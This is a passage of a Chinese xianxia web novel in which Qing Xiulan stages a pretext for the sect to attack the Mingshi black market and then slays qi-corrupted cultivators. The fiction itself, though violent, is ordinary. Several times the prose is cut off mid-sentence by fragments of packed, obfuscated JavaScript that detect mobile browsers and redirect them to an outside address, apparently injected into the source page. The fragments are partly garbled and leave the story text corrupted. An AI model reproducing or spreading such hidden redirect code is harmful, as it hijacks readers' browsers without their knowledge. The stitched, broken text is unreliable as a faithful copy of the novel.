他刚想开口,那盆栽便无风自动地跳出了清休澜的手心,紧接着,席梵端着盆栽出现在屋内,叹气道:“不要一见面就打打杀杀的,多不好。” “想杀就杀了,难不成我还要问谁打个报告才杀得?”清休澜用之前席梵的话将其堵了回去。 上次离开时的不愉快似乎已经像雪一样消融,席梵又换回了刚见面时那副笑眯眯的样子。 清休澜看着他,有一下没一下地转动着右手上的微霜戒。此人来历不明,目的不明,却哪哪都有他。灵崖山山火时他在,流言四起时他也在,去溟市和谈时他还在,简直阴魂不散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105638|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。清休澜确定自己从未见过席梵,他也曾试图对席梵使用言灵术,却失败了。 言灵术,可以对人、鬼、妖、魔使用,特别是清休澜的言灵术,对于修为比他低很多的人,基本看一眼便能施展。 但也有例外,比如像许寄忱这样体质特殊的,或是修为与清休澜相当的,以及……非人、非鬼、非妖、非魔的。 这样未知的危险人物自然不能留在身边,因此,清休澜对席梵一直没什么好脸色。 如今不清楚他究竟是何方人士,随意杀了也不妥,倒不是杀不了,也不是怕惹事,只是没功夫处理杀了席梵之后可能会出现的麻烦。 等到溟市覆灭之后。 清休澜淡淡看了席梵一眼,转身坐到了一旁的软塌上,道:“凌月剑宗不归我管,但雎云居内发生任何事都不会传出去一丝一毫——要我请你么。” 这就是明晃晃的送客了,席梵随手将盆栽放回了窗台上,答道:“客气,但是不必了。” 说完,他背对二人招了招手,转身穿过法阵,走出了雎云居。 —— 剑峰。 “师尊,那清休澜肯定有问题,他刚来几天就风波不断,您为什么不顺着宇文宗主,将他那雎云居搜个干净呢!”云歆满脸不服地给柯麒倒了杯茶,问道。 “这话你在剑峰说说就罢了,在外注意分寸。”柯麒不咸不淡地训斥了一句,道:“清休澜待在雎云居没出去过,唯一一次还是来剑峰‘闲谈’。他身边那小孩不成器,半分灵力都没有,不堪大用。他在我们眼皮子底下,动作受限,要是让他借‘不尊重隐私’的由头离开凌月剑宗,那他要是想动点什么手脚,可不是轻而易举么。” 云笛背着剑走了过来,擦了擦汗,问:“师尊,我们真要去与溟市‘和谈’?” 柯麒端起茶杯喝了一口,说道:“多事之秋。试炼之境即将开启,失踪个不重要的弟子也就失踪了,不是什么大事,偏偏不知谁将此事宣扬得人尽皆知。” “如今当着众宗门的面,为了‘正派名声’,凌月剑宗不去,也得去。” —— 雎云居内。 “前辈,明日凌月剑宗去与溟市和谈,我们不参与,没关系吗?”应听声给团团顺着毛,问靠着软塌看书的清休澜。 “有什么关系。”清休澜眼都没抬,问他。 应听声将毛梳上沾上的白毛捻了下来,放进了一旁的小盆中——已经放满了半盆。随后他将略长的发丝顺到耳后,问:“就是……他们谈完了,然后呢?我们不去的话,怎么‘随机应变’呢?” “让他们谈完了当然完了。”清休澜抬眸问:“云浪珠。” “好。” 清休澜接过云浪珠,指尖覆上灵力,刚要划伤手指,就想起什么,朝应听声一招手,道:“过来。” 他握住应听声的手,用灵力在指尖划了一道小小的口子,然后让血液滴落在云浪珠上。待整颗珠子被血浸透,才松了手,顺手给应听声止了个血。 “修士死后,灵力会慢慢从身体中离散,包括血液中细微的灵流。”清休澜淡淡解释了一句,短短几息,那颗云浪珠上的血液便逐渐凝固,变得像沾染了很久一样斑驳。 随后,清休澜再次将珠子抛给了应听声,道:“放溟市去,显眼点,让人一进来就能看见。” 应听声看看手中的珠子,又看看窗外已经亮起的灯烛,试探道:“前辈,现在去?” 清休澜理所当然地一点头,道:“明天去来得及的话,你明天去也行。” “……那您怎么不早点和我说。”应听声欲哭无泪。 “本来你刚回来那会就想说的,看你忙着给团团梳毛,就没打扰你。” “……” 20. 初至 应听声半死不活地趴在乘黄背上,左手匿息符,右手琉璃铜钱。 乘黄呢,早没了上午那会精神头,蔫儿蔫儿地跟着眼前的琉璃灯盏飞着。 一人一兽皆是一脸生无可恋。 清休澜的任务听起来很难,其实一点儿也不简单。 应听声连“溟市”究竟是个什么地方都只大略听了个囫囵,里面是何构造,有什么样的人,会遇到什么样的事,一概不知。 应听声捏了捏手中的琉璃铜钱,清休澜话说得模糊,只让他跟着灯盏,到地方用这铜钱进去即可。 除此之外,清休澜带在身上的栖灵瓶也给了他,说皮尔卡娅说不定能帮上忙,要是有拿不准的事,可以问她。 琉璃灯盏越飞越高,就连庞大的凌月剑宗都变成了芝麻大小的星点,而灯盏依旧在往上。 应听声翻了个身,只觉天空离自己越来越近,似乎触手可及。他这么想着,也就这么做了。应听声抬手右手,不由自主地想起了一句诗。 “手可摘星辰。”* 突然,应听声感到一阵阻力,就像天空坠下一般,星辰近在眼前。他不由自主地睁大了双眼,想要看清每晚抬手仰望的那些遥不可及的星星,手却径直穿了过去。 应听声不可置信地愣住,几息后才试探性地搅了搅,那深邃安静地夜空就像一汪无边无际的池水一般,被他激起阵阵涟漪。闪烁的星辰宛如池中鱼,一闪一闪地躲开了“不安定”的池水。 “天空……?”应听声皱眉喃喃道,低头向下看去,却是一片黑暗。 地面已然消失。 还不等应听声反应,他突然感到一阵窒息感,好像他真的沉入了未知的“水面一样”。 乘黄继续带着他往上,应听声艰难地抬头看去,目光逐渐混浊,只余琉璃灯盏微弱的光芒仍稳稳地悬在头顶。 应听声便安然闭上眼,屏住呼吸。胸口像是被什么沉甸甸的东西灌满了,让他的每一秒都犹为煎熬。几十息后,一阵破水声传来,应听声猛然睁眼,大口大口呼吸着。他抬头一抹眼睛,手上却干干净净,并没有应听声想象中的“水痕”。 乘黄像甩水一样甩了甩毛,似乎也有点疑惑,重新化作狐狸,舔了舔爪子。 应听声拿出匿息符贴上,待符咒亮起微光,他才伸手将狐狸抱了起来,安抚性摸了摸它的小脑袋,然后谨慎地观察起四周。 琉璃灯盏已经重新回到狐狸脖子上,四周皆是黑暗,不像天上,也不像海底。这样的场景让应听声想起一些不好的回忆,正当他思索该往哪边走时,手中握着的琉璃铜钱却像感应到什么一样,微微发烫。 应听声摊开手,那铜钱便自己飞了起来,没入了上方深不见顶的黑暗。 下一瞬,一阵失重感袭来,应听声连叫都叫不出来,只得死死抱紧怀中的狐狸。好在没过几秒,一阵风就缓下了他坠落的速度,让他缓缓落在地面。 应听声睁眼一看,周围已经变了个样,脚步声、吆喝声不绝于耳。不断有人从应听声身边走过,他急忙抱起狐狸,走到一处远离人流的角落,观察起溟市的“真面目”。 天空是流动着星光的黑暗,地面像是一条枯竭的河流。入目皆是挂着不同招牌的小摊,中间最显目,也最高打的是一座四四方方的楼,檐上挂着一串串血红的灯笼,无风自动,走进了还能听见灯笼中传来嘀嘀咕咕的声音。 这里有人族,有带着角、尾巴的妖族,也有浑身散发着黑气的魔族……无一例外,脸上都带着面具,将身体包裹得严严实实。毕竟没人会想在这里暴露真面目。 这里,见不得人。 再细看那小摊上贩卖的货物,应听声却是一阵恶心。两个完整的人胸膛和腹部被剖开,血淋淋地放在台上,空洞洞的,心脏、肺、肠子都被拿了出来,单独放在一个破破烂烂的铁盆中。 那身材矮小,尖嘴猴腮的小贩还吆喝着,细长的舌头不断舔舐着落在脸上的苍蝇:“来看看——来瞧瞧——新鲜的人肉哈,都是刚杀的,俊男靓女——客官看看,四肢俱全,没有疾病,皮肤光滑,牙齿整理,上好的货!可只有我这才卖!” 应听声第一次那么痛恨自己超乎常人的听力,捂住了嘴。他腰间的栖灵瓶微微晃动起来,应听声勉强缓过口气,伸手拔开盖子,将皮尔卡娅放了出来。 比起第一次见到皮尔卡娅时,如今她变得愈发透明,周围的人已经无法看见皮尔卡娅虚弱的灵魂。 她眼中的厌恶浓郁到几乎溢出,面色凶狠地盯着面前那些小摊,杀意掩盖不住。应听声急忙拉住她的手臂,一触即分,低头道:“前辈,再忍忍。” 皮尔卡娅深吸一口气,对应听声道:“我明白。但我实在见不得这些,我怕我会忍不住出手,你若有为难之事再唤我吧,我自当全力以赴。” 见应听声点头,她便再次回到了那小小的栖灵瓶中。应听声却不由自主感到一丝悲伤。 人间、溟市、栖灵瓶,这些灰暗狭窄的缝隙,如何比得上宽广无垠的大海。 可惜,她再也回不去了。 她对海洋,只余模糊的记忆。除此之外,再无它物能够证明,她曾属于大海。 狐狸舔了舔应听声的手腕,他低头摸摸狐狸,道:“知道,正事要紧。赶紧办完事带你回去休息。” 应听声抬头四周看了看,溟市中最显眼不过的就是那栋红黑色的阁楼了,他伸手指了指那楼房顶,狐狸会意,带着他飞了上去。 “今天我们怎么一直在爬房顶,跟做贼一样……下次一定换个方式。”应听声扶额道。 狐狸深以为然地点了点头,趴在应听声肩头昏昏欲睡。 应听声拿出那颗斑驳的云浪珠,半蹲下来在屋顶摸索着,突然,那珠子就像找到了合适的地方,自己贴了上去,稳稳地将自己固定在中间的屋檐下。 应听声:“?”我好像还没动。 他迟疑地看了看,然后一抚趴在自己肩上的小兽。 狐狸眼睛都没睁开,打了个哈欠,看也不看就抓着应听声飞了下去。 应听声无奈地扶稳了狐狸,抬头看向方才云浪珠贴上那节房檐。黯淡的云浪珠在乌黑的房檐上并不显眼,但在这个没有气息流动的地方,云浪珠不可能是被无意吹到哪儿的。 可能是前辈的意思吧。应听声想道,转眼,就看见狐狸脖上的灯盏闪了闪,飞了起来,逐渐变大,然后朝着来时的方向飞去。 应听声拍了拍头一点一点的狐狸,狐狸眨眨眼,堪堪逼出几丝清明,化作乘黄微微俯身,让应听声骑了上来。 一人一兽顺着灯盏回到了最初来到溟市的那片“黑暗水面”,当他们踏上水面时,底部逐渐泛起光点,从下往上汇聚,然后像一滴水从叶片尖儿坠落那样。 “嘀嗒”。 一枚琉璃铜钱从上空掉落在应听声手心。 水面翻涌,逆流,再逐渐归于平静。 空无一人。 等应听声再次睁开眼时,地面已经重新出现,星辰与天空再次变得触不可及。他看着地面只有指甲盖大的星点,面前的琉璃灯盏逐渐变成残影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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镜中的人点点头,然后朝某个方向招了招手,清休澜清晰地听见一声“寄忱”,然后就看见一个白白净净的小孩从外面跑了进来,衣裳湿漉漉的,手中燃着簇掌心焰。 他进门先是规规矩矩地叫了声“师尊”,然后才继续用掌心焰烘干自己的衣服。 清休澜笑了一声,挥手引导水镜飘到那小孩面前,问:“你就是许寄忱?沈灵给你改的名儿?” 许寄忱点点头,清休澜又指着他的衣服问:“掉水里了?” 这回许寄忱没点头了,他平静道:“引水诀没控好,爆了。” 沈灵:“?” 清休澜:“……” 清休澜好笑地转过了“头”,看向沈灵,道:“你这徒儿……挺有天赋。和你一样。” 沈灵面无表情地一挥手,几息间便将许寄忱的衣服烘干,然后让他上前来,介绍道:“这位是清长老。叫人。” “清长老好。”许寄忱乖乖跟着沈灵喊了一声,微微低着头捏了捏干透了的衣服。 “嗯,去吧。”沈灵在许寄忱肩上拍了拍,看着他左手绕指涧,右手掌心焰地走了出去,随后才回眸对清休澜道:“你一个人住终究过于冷清,养个徒弟在身边,也算添丝烟火气。” 清休澜余光扫了一眼内间,沉默两息,回道:“再说吧。” “想做我的徒弟,八字不硬可不行。” 21. 纷争 与沈灵交谈完,抹去水镜后,清休澜就听见一阵阵浩浩荡荡地脚步声。并不怎么整齐,方向却是一致的,就连偏僻的雎云居都能清晰听到。 他盯着桌上的茶盏里不断晃动的水波好一会,直到水面平息,才缓缓移开视线,走进内间。 清休澜凑近应听声,贴着他耳边轻声道:“醒醒,好戏要开场了。” 应听声就像被触发什么“紧急清醒装置”一样,立刻从床榻上弹起,要不是清休澜躲得快,准要被他撞上。 睡在应听声旁边的团团也被应听声的动作弄醒,但它的反应没应听声那么大。它只是懒洋洋地张开了嘴,打了个哈欠,然后舒展起身体,爪子露出,往前够了够清休澜的衣服。 清休澜没理撒娇的狐狸,若有所思地问道:“你每天早上清空一遍自己的记忆么?” 刚睡醒的应听声脑子还没启动完全,他反应了两秒清休澜的意思,睡眼朦胧地回道:“不……会啊?我应该没有这样的‘特异能力’。” “那你怎么每次听到我的声音反应这么大。我又没虐待过你,好像对你还不错?” 说起这个应听声就冤枉:“前辈,将心比心。您要是过个七八年独眠日子,还要时刻担心周围的环境,然后突然每天早上都听见一声呼唤,也会被吓到的。” 说完,他自觉地起了床,顺便叠好被子,给清休澜行了个礼,确定他没什么额外交代后默不作声地出去了。 清休澜站在原地垂眸思考了两秒,然后也走出了内间,重新坐回了软塌上,散了法阵,静静看着窗外。 原本吵闹的凌月剑宗已经安静了下来,就连“人气”都散去一些。 应听声洗漱完坐在桌上用膳,问:“前辈,你刚刚说什么?好戏?” 清休澜听见声音转过头,道:“嗯,凌月剑宗与溟市的热闹,我还是要去凑……替沈灵凑一凑的。你若不想去,留在此地也无妨。” 应听声犹豫了几息,感受到被自己挂在腰间的栖灵瓶在轻轻晃动,似乎有些迫不及待,他便不再犹豫,三两下吃完,答道:“我去。” 贴着匿息符走出门外,应听声便难以忽视地抬头朝天上望去。原本一望无际的蓝天布满了一片片指甲盖大小的黑色“飞虫”,正成群结队地朝同一个方向飞去。 清休澜跟了出来,叹道:“凌月剑宗果真财大气粗,寻常宗门有一艘都难得的飞舟居然眼不眨地拿出这么多来。” 之前清休澜和应听声简短说过关于那群少年的“意气风发”,所以应听声对飞舟上的人的身份也有个大致猜测,他问:“我们跟着他们去吗?” 清休澜点头:“有免费飞舟为什么不蹭。” 在屋内享受完早膳的狐狸摇摇晃晃地走了出来,不消清休澜说些什么,就自觉地化为乘黄,背起了应听声。 清休澜看他们一眼,然后指了指飞在最前面的那艘飞舟,消失在原地。 对于在持续移动的地点,是没法使用传送阵的,但想快速移动,也并非只有传送阵一种方法。 清休澜隐藏起自己的身形和气息,随后,一阵轻若柳絮、无影无踪的细雪骤然升上高空,然后轻飘飘地落在了飞舟的观景台上,凝成人形。 看见躺在摇椅上晒太阳的“熟人”,清休澜一挑眉。席梵不知怎么与宇文宗主看对了眼,居然也上了飞舟。 可能是因为那块寻秘阁的令牌吧,让宇文乌于觉得此人是寻秘阁派来支持他的。清休澜随意想道。 清休澜摇摇头,转头朝飞舟前段走去,意外地,在指挥的并非是宇文乌于,而是柯麒。就连云歆和云笛都跟了上来,唯独不见云青。 乘黄速度不慢,清休澜刚从控制飞舟走向的“御风室”走出,就看到乘黄轻巧落下,应听声轻手轻脚地下了地,左右观望着。 清休澜挥出一道细细的雪丝,雪丝像没有粘性的蜘蛛丝一样缠上了应听声的手腕,绕了两圈,然后轻轻扯了扯。 应听声的目光一转,立刻锁定到清休澜的位置,朝他走了过来。站定之后轻声问道:“前辈,他们没有琉璃铜钱,怎么进去呢。” 清休澜走到飞舟边缘看风景,闻言随意道:“世上无难事,只怕有心人。” 应听声似乎对自己的每一句话都深信不疑,闻言居然很认真地点了点头,弄得清休澜都不忍心再逗他了,道:“我开玩笑的。” 清休澜伸出手感受空气流动,道:“凌月剑宗既有个“三大宗门之首”的头衔,可不是说着玩玩的。就是想强闯个小小溟市,又有何妨。” “既然如此,”清休澜回头看向应听声,笑道:“那我们不妨省点力。” “你可听过人间的一句古话,名为‘隔山观虎斗’?” 说完,他又想起了什么,嘱咐道:“一会打起来,你找个机会,去把那些被困在笼子里的生物放出来,让他们逃。能救一个是一个,生死自有定数,不必勉强。” “记得让皮尔卡娅出来帮你,若你因此受伤,她会难过的。” —— “轰”一声,溟市周围黑色的边界像被打碎的鱼缸一样,开始逐渐碎裂。 正在溟市做买卖的小贩机警地就像见到猫的老鼠一样,一有点风吹草动立马就开始收拾自己摊上的东西,连生意都不做了,背着包袱就要离开。 结果刚刚跑到溟市入口便被一阵铺天盖地的威压逼了回来。小贩蒙着面,讨好似的对面前乌泱泱的一群人笑了笑,然后指了指后面那座显眼的红楼,道:“各位大人,我就是做点小买卖,您有事找溟市主吧,他就在那里面呢。” 说完立刻在自己脚下扔了个烟雾弹,一溜烟儿地跑没影儿了。 领头的不是宇文乌于,而是柯麒,不过大家根本不在乎是谁领头,他们只在乎手中的剑,剑在手,则自认天下无敌。 清休澜和应听声不费吹灰之力便跟着大部队混了进来。清休澜朝应听声使了个眼神,应听声会意,带着狐狸悄悄脱离了队伍。 而清休澜则足下轻点,掠过人群,来到了最前方。席梵正将手背在脑后,观察着周围的人,好像对他而言,似鬼的人比似人的鬼更有趣。 清休澜忽略了席梵,抬眸一看,就发现了那颗安安静静悬在屋檐下,黯淡的云浪珠。清休澜轻勾唇角,指尖弹出一道微弱的灵力,像一道光束一样照射在云浪珠上。 那颗云浪珠立刻散发出光芒,轻而易举吸引了众人的视线,随后在柯麒皱眉前去查看时突然坠落,正正好将自己砸在柯麒掌心。 柯麒:“……” 他被这“碰瓷”的珠子砸了个正着,偏偏后面的人还凑了上来一探究竟,连掩盖的时间都没有。 柯麒正想收起珠子,随便找个什么理由糊弄过去,那颗“叛逆”的云浪珠就好像察觉到他的想法一般,突然“活”了过来,直接跳进旁边人的手心。 随后,凌月剑宗柯麒座下弟子,下一任预备剑峰继承人杜风摇的画像从这颗斑驳的云浪珠中浮现。不论是黯淡的珠身,还是上面斑驳的血迹,无一不在诉说着自己的遭遇。 明眼人的都看得出来,这颗珠子的主人,应当是已经死了。 柯麒阻拦不及,暗骂一声,朗声道:“诸位不要惊慌,这里可是溟市,云浪珠亦可造……” 他话还没说完,就被一声不知从哪儿传出的声音打断:“溟市杀人了!他们连凌月剑宗的弟子都敢杀,下一步是不是就要攻占修仙界了?!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105640|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻言,几个性情急躁的青年立刻拔出了腰间的剑,就连几位看着年长稳重的中年人在看到溟市小摊上卖的那些“东西”后,也不住迟疑。 见众人开始窃窃私语,柯麒明白现在必须控制住局势,否则…… 可方才那声音似乎总快他一秒,又接着喊道:“快看那些笼子里关的人!溟市卖人如卖货,还有何事不敢为?溟市不诛,修仙界岂非内外皆腐矣!” 此话一出,直接点燃了众人的怒火,哪怕柯麒用上灵力喊话,想让众人冷静,也都无济于事。甚至还有人拉上柯麒的手,说要替他报杀徒之仇。 事到如今,看着只等他一声令下,就要将溟市诛之的人群,柯麒却说不出一个“不”。 只因现在的他,不是“柯麒”,而是“凌月剑宗”。 “柯麒”可以退,“凌月剑宗”不行。 于是他无声地看着众人,随后沉默地拔出了自己的剑,指向中间那座红楼,意味明确。 清休澜目的达成,无声笑了一下,朝后退去,逐渐远离人群。而细看之下就会发现,他右手五指上都缠着细细的雪丝,与之前应听声手腕上的一模一样。 顺着雪丝延伸的方向看去,薄如蝉翼的雪丝的另一端绕在了红楼的四个檐角。清休澜周围烟雾弥漫,到处都是哭喊声、刀刃碰撞声,以及刺入□□喷射出的血液滴落声。 清休澜泰然自若地哼着小调,手掌握紧,轻轻一拉—— 轰隆—— 那红楼骤然倒塌。 —— 应听声带着狐狸放走了很多动物,很多人,很多他连名字都叫不出来的生物。狐狸爪子锋利,一爪子下去那不甚结实、沾满秽物的狭小牢笼便被抓成了两半,尤其方便。 皮尔卡娅飘在狐狸附近,虽然大部分人已经看不见她,但拥有阴阳眼神兽却能捕捉到她的身影。她用歌声示意狐狸自己的位置,那空灵的歌声穿透性极强,加上狐狸耳力好,每抓开一道笼子就能顺着歌声蹦蹦跳跳地去往下一个笼子。 应听声帮忙给那些逃出来的生物指明出路,在心中祈祷他们能够安然出去,回到自己的故乡,与家人团聚。 红楼倒塌时,应听声眼疾手快地拉出了一只浑身雪白,头顶的角却被割去的灵鹿,那灵鹿满头的血,不断滴落在地,叫声痛苦而凄婉。 应听声只能拍拍它的背,给它指一条可能通往“生”的路,然后默默目送它离去,接着立刻从情绪中抽离,转头继续帮助下一个左右乱窜,迷失方向的生灵。 雾气笼罩中,应听声不小心呛了一口,捂着嘴咳了起来,突然想起小时候一次发热喝药时与娘亲的对话。 那时年幼的他恹恹地看着眼中乌黑的中药,问道:“娘亲,我们为什么要活着。” 应听声的记忆已经模糊到记不清母亲当时的样貌和动作,却还依稀记得母亲说的话。 她想了想,问:“那小草为什么活着?小猫小狗小蜻蜓又为什么活着?” 他茫然地摇了摇头,娘亲也笑着摇摇头。 “生命无法选择,但你、小草、小猫小狗小蜻蜓来到这个世界,都是上天赐下的礼物。” “大家都是这样,懵懵懂懂地来,懵懵懂懂地去,我们与窗外的小草、小猫小狗小蜻蜓都一样,没有什么不同。” “娘亲呀,就希望你能开开心心地来到这个世上,然后再开开心心地离开。” “娘亲希望你热爱这个不太完美的世界,因为娘亲在这个不太完美的世界上遇到了你爹地,还遇到了你。” 她亲了亲他的脸颊,道:“有你们,娘亲就是这个世界上最幸福的人。” “而我活着,就是因为你们在这里。” 22. 故人 娘亲因为爹地和他活着,那他呢?他又为什么活着? 应听声在心中问自己,随后迟疑地回答道:是因为……想给娘亲报仇? “叮”一声,就像在无边无际的大海上看见灯塔突然亮起的微弱却让人安心的光芒一样,应听声再次肯定地对自己说道:我是为了给娘亲和爹地报仇而活着的。 他觉得有哪里不对,但周围升起的滚滚浓烟却不愿再给他静静思考的时间,像一匹脱缰的野马一样,发疯似的闯入每个人的鼻腔,势要将新鲜空气掠夺一空。 那些货摊中除了被关在笼子里的生物,摊主早就不知所踪,性命攸关当头,谁会要财不要命。钱没了可以再赚,命没了可就只能赚冥币了。 所以奇形怪状的摊主们也顾不得什么身份名誉了,自是八仙过海各显神通,用尽一切手段要逃出这个即将“爆炸”的大锅。 随着溟市外壁逐渐坍塌,不断有淡紫色的烟气从中泄露,混杂在白色雾气中,难以察觉,开始缓慢蚕食人的心智。 有的修士定力好,灵台尚且清明,至少知道自己手中的剑杀的究竟是人还是鬼。但有的人已经杀红了眼,别说分辨受害生灵与无恶不作的摊主,就连自己人都快分不出来了,无知无觉地将自己晨起时共同练剑,没有防备的师兄师弟斩于剑下。 清休澜坐在离出口最近的一棵开得轰轰烈烈血色桃树上,垂眸捻起飘到自己周围的一缕紫烟,轻轻闻了闻。无味。这缕紫烟一点儿不见外,随遇而安,被清休澜抓住后就顺着他的指尖钻入了他的经脉中,与清休澜体内的黑色浊气融为一体,消失得无影无踪。 是浊气。虽然不管是颜色还是味道,再或者触感,都无一与浊气相似,但常年与其打交道的清休澜却再熟悉不过浊气带给人的感觉。 他转头看了一眼在不断散发出紫烟的溟市外壁,又低头看了看底下疯狂摇头,抑制不住想杀戮的修士,终是叹了口气。 这便是堕阴者。 无医可救,无药可解,唯有死亡,方为解脱。 清休澜以杀戮入道,便是斩了数不尽的堕阴者。 只有已经筑基,能够调动灵力的人才会被浊气影响,化为堕阴者。近年来大部分筑基了的修士都是有宗门看顾的,会特别注意防止他们吸入浊气。只有很少一部分普通人偶然得了机缘,才会在无人看顾的情况下贸然筑基,连灵气带浊气一起吸收,随后堕阴。 一道庞大的淡金色结界缓缓沿着溟市外壁升起,呈圆形,将整个溟市都包在里面。清休澜神色淡然,似乎“斩杀堕阴者”已经是刻在他骨子里,再平常不过的日常——哪怕这些人中不缺与自己有交集的人。 柯麒在拦下一个想要杀害自己的弟子之后已然察觉不对,一回头就发现了不知何时已经现出身形的清休澜,朝他大喊道:“清休澜?!你想做什么?!” 清休澜充耳不闻,无悲无喜地继续手上的动作,结界落定。 他的金眸开始发光,左手伸出,将不断溢散的紫烟牵引至自己体内,右手竖在胸前,无数根散发着寒气的雪丝从他身后四散而去,精准刺穿每一个堕阴者的额心,一击必杀。 刹那间,大片人在原地摇晃了一下,随即失去呼吸,瘫软在地,压在那些不知是妖是鬼的摊贩身上,与其一同共入阴阳。 这时,一位少年的剑脱手落下,少年终究是少年,哪里见过这样“自相残杀”的场面。在他心中,这本该是一场对“邪恶”的审判,那砍头的铡刀却砍下了同族的脑袋。他额头满是冷汗,小心翼翼地抬眸看向飘在空中的清休澜,看他的眼神与方才看那些摊贩一样,好似在他眼中,清休澜才是个那个怪物。 席梵不知从哪儿抓了一把瓜子,一边嗑得“咔咔”响一边看热闹不嫌事儿大地翘着个二郎腿坐在椅子上,一副“我早知道你会来”的表情。 清休澜半阖着眼,却仍有金光透出,他没有分给席梵哪怕一丝眼神,一道雪丝却极速朝席梵射去,然后穿透了席梵身后一个拿着刀准备偷袭他的堕阴者的脖子。席梵发丝飞起,却连眼睛都没眨一下,甚至嗑瓜子的速度都没变,就是笃定清休澜不会杀他——至少现在,在此地不会。 柯麒看着清休澜将大部分失控的堕阴者剿灭后依旧没有停手的意思,反倒继续放出雪丝,半息间就取了自己身旁一位在和别人正常交流的弟子的性命,不经怒道:“你疯了?!送堕阴者入阴阳我无话可说,但你若滥杀无辜,与溟市那些摊贩有何区别?修仙界容不得你!” 清休澜没有反驳,只是用灵力将方才杀死那位弟子的尸体拎了到了柯麒身边,让他亲眼看见那弟子身上散发出的,微不可查的浊气,平静地陈述一个事实:“他并非你的弟子,而是堕阴者,当诛。” 不只是不是吸收了太多紫烟的缘故,他泛金的眼眸竟也被染上了一丝晚霞般的紫色,而他依旧没有停下手中吸收浊气的动作。 清休澜右手上的乾坤戒振了一下,随后那面水镜从中飞出,沈灵出现在镜子中,垂眸皱着眉,刚想说些什么,抬眸一看,却也变了脸色,道:“发生何事?” 应听声自然也察觉到异常,从那“漫天飞雪”中艰难地寻到清休澜的身影,刚一抬头,一滴温热便擦着他的鼻尖坠落在地。他怔怔伸手一擦,指尖一抹鲜红。 “前辈?!” 清休澜垂下了眼,强行压住了金眸中紫痕,一丝血线从他的嘴角流下,他的动作却丝毫未乱,声音也依旧平稳,轻声回道:“……一点小麻烦而已。不碍事。” 沈灵早见过类似的情况,直接问道:“哪里的浊气?” “溟市。” 沈灵没再多问,简洁道:“一盏茶。”说完,水镜中的身影便逐渐消失,水镜也化作一丝流光回到了清休澜手中的乾坤戒中。 清休澜对此没什么反应,依旧让紫烟融入自己体内,雪丝杀尽堕阴者后没有回到清休澜身边,像一尾雪色游蛇般穿梭在人群中,似乎只要有谁有一丝不对,就要穿透他的脖子。 众人不知清休澜的体质,加之清休澜在自己身上设了个小小的障眼法,在别人眼中,那紫烟流入的并非是清休澜的身体,而是一个形似葫芦的法器。 而在应听声眼中,那源源不断被清休澜牵引过来的紫烟却宛如十丈高的海浪,看似轻而易举就能将他淹没,却停在清休澜左手前,方寸不得近,却仍然汹涌,咆哮着冲入清休澜的经脉中。 血丝连成线,慢慢从清休澜嘴角滑落,就连他的衣服上都溅上了点点鲜红。应听声似乎被这温热的血液灼伤,有些无助地用手擦过眼角,像往常一样,再次唤了一声“前辈”,但他的声音太弱,高处的清休澜根本听不见这声呼唤。 这时,应听声才真的觉得清休澜好高好高,离自己竟这般遥远。 “停下!”突然,从那倒塌的红楼中传来一声急促的喊声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“欲壑镜?他手上的是欲壑镜?那个传闻中能够‘幻化出你心中所想’的欲壑镜?” “怎么可能!欲壑镜就是个胡说八道的神话传说罢了!肯定是什么邪术,要么是什么别的法宝。” “可他手中的镜子和书上介绍的欲壑镜一模一样啊,如果真是欲壑镜,那溟市‘所求皆如愿’,岂不就能解释得通了!” “可那只是传说!欲壑镜在哪,原本的主人是谁,为什么会失踪,从何而来,如何幻化实物等等这些问题无一解释,古书中都只有一段似是而非的模糊介绍!” “你放屁!那明明就是欲壑镜!你眼瞎了吧。” 溟市主看着众人争吵,似乎有些无措,几次想插话都以失败告终。 随着时间推移,溟市中的最后一丝紫烟也被欲壑镜吞没。清休澜注意到,那欲壑镜的边框上似乎出现了一道细小的裂痕。 接着,“咔嚓”一声,就像琉璃碎裂一般,溟市主脸上的面具也出现了同样的裂纹,那裂纹越来越大,逐渐蔓延至整个面具。他似乎也察觉到什么,缓缓抬手,不可置信地轻触脸上的面具。 下一秒——面具骤然碎裂,化作碎片从空中落下。而那面具之下,竟是一位女子的样貌。 “是你?” 看清溟市主面具下的面容时,清休澜突然开口。 “你竟然在这。” 23. 无思 席梵“呦呵”一声,可能是误会了什么,“呸”一声吐出了嘴里的瓜子皮,在他的脚下,瓜子皮已经堆成了一座小山。 溟市主似乎也有些意外,仔细地扫过清休澜的面容,依旧迷茫地问道:“你认识我?那你……是谁?” 